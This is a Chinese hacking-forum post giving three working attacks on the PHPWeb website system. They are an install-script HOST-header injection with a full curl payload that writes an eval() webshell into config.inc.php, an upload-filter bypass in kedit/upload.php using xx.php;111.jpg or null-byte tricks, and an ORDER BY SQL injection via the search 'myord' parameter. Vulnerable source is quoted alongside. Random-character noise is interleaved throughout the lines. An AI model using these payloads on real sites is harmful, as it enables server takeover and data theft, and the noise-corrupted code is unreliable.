找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2494|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
注入:
6 F7 y0 R7 |% A5 {- U. q
: ^4 r4 @" u0 X; F5 i$ a+ Q! N$ v之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
$ T& e' a  ?: F5 O
" ~& E4 P; z5 L: B9 l1 N6 i+ \鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
$ b( X6 T3 i: D# }鸡肋2: 有一定安全常识的站长都会删掉 install 目录6 ]. p; i8 I4 V$ j/ ?
5 }- n/ X" w' A8 k
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响* |  a4 Q  |; V+ h) R  Q8 s
% ~, k1 c2 P4 ~; x4 e2 l4 ~
分析:
  \( @4 R; k5 _8 r
8 ^* W. ]3 H# K; G: B) K & e8 E% y' l  }( ~4 H/ j
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
9 h4 X2 g% \9 ]* G - _' p7 [! O- V  x
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
8 R8 `2 A# Q/ z6 |* k% w                                            $filestr=str_replace(" ","",$filestr);3 Z  ?) S1 r- p' m* G4 C0 q
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);: Z( |' C5 o" u# R8 }
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
) y+ ~' ?. h5 R0 d& ]  {5 E5 U9 v* s                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
7 C& r6 A6 q$ O: O* d7 d. N% R                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
  H* P/ x2 @3 l+ [: \2 _                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
$ _4 t' M0 d% v3 d+ O                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
. k# ~' m) v2 E, M, b! _& @) X                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);% k  e' `& S  B9 |& f6 g
6 K5 b% o( O. U  {4 C* h
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);! V1 N3 J/ I; q; J3 J  q8 }
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^/ J( }7 V7 z, ~
2 ^6 _8 R- ^; f- k
poc:
/ k/ E! Z' x9 W4 c7 V & Q' I0 ~; `8 J) p8 C5 B  N
?; m5 D' r+ c! j3 Z. m; i& @  }1 o
1, Y. O, ~) x( U: M
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"  f: D; o* a) a+ |) k$ U7 k
shell地址: /config.inc.php0 a3 D/ m7 R$ ]* s" M( Z- l% X8 r
跟之前的 phpcms一样 需要远程数据库5 j" ~3 Q/ ]3 z4 C$ d

3 X' H) L6 c* C——————————————————–1 w( Q4 Z! q$ {
上传漏洞(需要进后台):" X7 n: w/ r# j2 U
漏洞文件: /kedit/upload_cgi/upload.php+ N4 {$ e# z8 P6 k* _
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
! J3 S. i* W' N- U+ e& p7 z ! m) {- b0 e' g/ E* S
2 q9 ~- |7 U+ K: m7 e( f( F2 Y
<?php/ z4 D2 w* u* M" u
    define("ROOTPATH", "../../");) b) O0 o, o& B0 A7 C
    include(ROOTPATH."includes/admin.inc.php");9 ^8 f! Y. L) Z
    NeedAuth(0);. S# s* O/ x4 j( b; R& y
5 D) N+ j9 x/ L; M
    $dt=date("Ymd",time());! L( S: G+ I2 T' f# c% ^+ t; V9 U' L
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
  Q; G) E1 c4 d* f            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);  B6 J$ i- E5 P& l, n& ]
    }
( J, \4 S" ^' A0 c; E, K) g: k 3 X6 I7 y- J9 o# V/ H- p/ W: ?/ }( F% e' y
    //文件保存目录路径
+ B- T& ^* ^# W/ ]: j    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';4 S6 W; w8 O: p7 i4 r  L  D0 \
    echo $save_path;  v( i# d9 n1 \
    //文件保存目录URL/ q% o- g' T; H8 U; s7 k
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
/ O& }& O' a9 ?# a2 n  O
/ q! J2 F4 V8 _7 ]1 J    //定义允许上传的文件扩展名
1 b3 H* q6 L* U: l" P) ]0 J% [    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀6 v; i2 K( F$ K- U' ~- t. Z7 Q
& @# a5 x) x( y+ e! z
    //最大文件大小5 n% g8 G+ f% D$ P# K* k! o/ Z6 b
    $max_size = 1000000;$ b7 x6 W# c& x+ C

7 i; ~2 [7 C1 ?3 g3 c, ~0 F    //更改目录权限; O+ u! }; t0 `3 p. Z1 c5 `+ F
    @mkdir($save_path, 0777);
% S0 P# X8 J4 p+ M4 E* A " ]. c( Y9 ]6 F& h& n! a' C& w
    //文件的全部路径) \+ e; g! H  f% u
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
& R. }! B8 N/ W; J- k8 F# [ " u0 B, P' G& B$ Y5 {  X) ~- H- R, y! Q
    //文件URL
! Y4 m. Q2 t6 ]4 M, M0 O    $file_url = $save_url.$_POST['fileName'];- J* t9 n5 d" @, Q
//有上传文件时0 y* {' K1 H7 u. B) |( q
    if (empty($_FILES) === false) {1 Q3 M/ B( o8 [4 ?6 c1 j

7 m4 ^' _9 C) `; n1 [            //原文件名) G8 r9 @3 f2 `1 ?) s9 Y* _) L
            $file_name = $_FILES['fileData']['name'];
% b) `* O8 Q. C2 H9 }8 T            //服务器上临时文件名
4 M; C/ s4 {4 Y+ ]% h. S            $tmp_name = $_FILES['fileData']['tmp_name'];
. a8 U! k" w: U+ ^9 y            //文件大小
& }! L2 E2 ]8 J1 z! T/ `3 Q. a9 u            $file_size = $_FILES['fileData']['size'];
- m" P9 Y. |( r1 D! R            //检查目录
+ K) ]  H, e; A% f! D            if (@is_dir($save_path) === false) {& i3 i5 i- |2 b1 N
                    alert("上传目录不存在。");$ N; M$ _/ x* I: g- K  S. @
            }& N( _( a) @: A* [2 w: I& _
            //检查目录写权限3 V8 Q3 J+ o( [( J! b* o
            if (@is_writable($save_path) === false) {
' J" Z! f& V' R' p5 u$ h                    alert("上传目录没有写权限。");
7 e7 K' I" p0 k1 o; f' S; W) b' s            }
: K% L% G$ w/ E6 N9 |& s            //检查是否已上传
6 H6 n: f7 t* I, ^7 O; x            if (@is_uploaded_file($tmp_name) === false) {6 A: a6 [& I& @: V# @
                    alert("临时文件可能不是上传文件。");
7 W+ t! l) m# [& f1 u/ r8 l, v            }8 Y# N3 H" U, m7 Z6 M# b9 C5 d
            //检查文件大小
6 \% i8 `4 Y% G( c            if ($file_size > $max_size) {
  E/ O# p8 u0 @, m0 @                    alert("上传文件大小超过限制。");
; r' i. u8 l9 F  ?! m4 I- \            }/ |" \. b$ r. e% D8 b' H( P
            //获得文件扩展名9 F+ T  ^. }; u2 Z; X
            $temp_arr = explode(".", $_POST['fileName']);0 M0 b9 x/ i" H, j( q. ^4 P
            $file_ext = array_pop($temp_arr);
. \3 j0 r3 v+ e0 f/ L            $file_ext = trim($file_ext);, K9 a& f" w" c) p3 {1 Q/ i- i, @! s4 J) D
            $file_ext = strtolower($file_ext);2 _: u: |' c4 J/ W2 F
2 B' |) ]! ?/ y! |0 t) v) B' W
            //检查扩展名   8 H+ ?2 h, z) d( Q
            if (in_array($file_ext, $ext_arr) === false) {     2 g, R0 {& @1 b0 {$ |7 J
                    alert("上传文件扩展名是不允许的扩展名。");
6 ]% O# f, U% p4 e0 d0 o            }
, _  g/ O0 u7 d5 l5 [. b 6 w. I. t& x% d' N6 H7 }) |: {; s
            //移动文件   
: o# z+ ?$ u% K9 n            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^4 Z. n4 f2 W, Q' P2 x2 b8 i2 D
            if (move_uploaded_file($tmp_name, $file_path) === false) {6 |8 ?" ^" M6 P* p6 v( H
                    alert("上传文件失败。");
, r, ^/ S* b, Y5 @6 t            }
0 Q: a) D$ @2 z! s
# z. S. r5 e" F( [+ D1 f            @chmod($file_path,0666);
: f# @& q" a; l 1 K% @5 _) d2 C, k" u  }+ \$ y
    ?>
* ^7 G2 L+ W/ a/ ^3 \: i2 `) M' o8 X抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227# L8 Y# h. d' K/ G" @+ w
+ u/ p$ `( b- i1 r
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
. b( h) w+ P2 W& ?! h$ n % ?* e- `& U2 \8 p! B1 m" \2 u
——————————————————
, i/ C8 G: i. ^8 J* v, h' w5 g注入漏洞:# E' n5 J0 N  ?
漏洞文件:search/module/search.php
' l2 B7 b# K+ Y: f4 `/search/index.php?key=1&myord=1 [sqlinjection]
6 T) C1 r/ p) T0 k' m
) _: n" Y8 Z8 Q8 C' ?* {2 e8 R $ |+ ^) S2 [) w! ?# Q3 o
<?php& c: _$ @1 w# Q; i4 b% X. W) Q0 V
   //       ... 省略 n 行...
5 F/ [+ C4 o. d% l   //第18行:
: ]$ e/ S  ?) h$ v" o. Y           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
; `9 X( N4 Z7 s8 C1 {. b/ J6 K           $page=htmlspecialchars($_GET["page"]);
& O- h+ F& w5 g/ A  i* X9 `           $myord=htmlspecialchars($_GET["myord"]);
( A/ Y6 a+ ^9 o+ X+ ?, Y  Y6 y " }* j! Z8 P" Z
   //       ... 省略 n 行...' m8 A) |* ^. F3 j+ F: C( T0 P
   $key,$myord 两个参数带入查询- v  {) l  @9 t
   //第47行 $key:6 J5 G2 E' I) O7 e# s& V% c

5 n: [, O& O% U5 b' ~& j   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
0 @: V! j" e4 N$ v" n' u# l  ~ 0 i( n* U' v& {! `% q
   //第197行 $myord2 V7 d$ D6 S0 k$ Z. D
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入5 v, j  D. c- ~) J7 n0 X' Y$ ?

3 z# I: N. X2 J( A4 |& m6 ^4 O   ?>; H% ?6 q7 o6 ?; p+ p0 J, L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表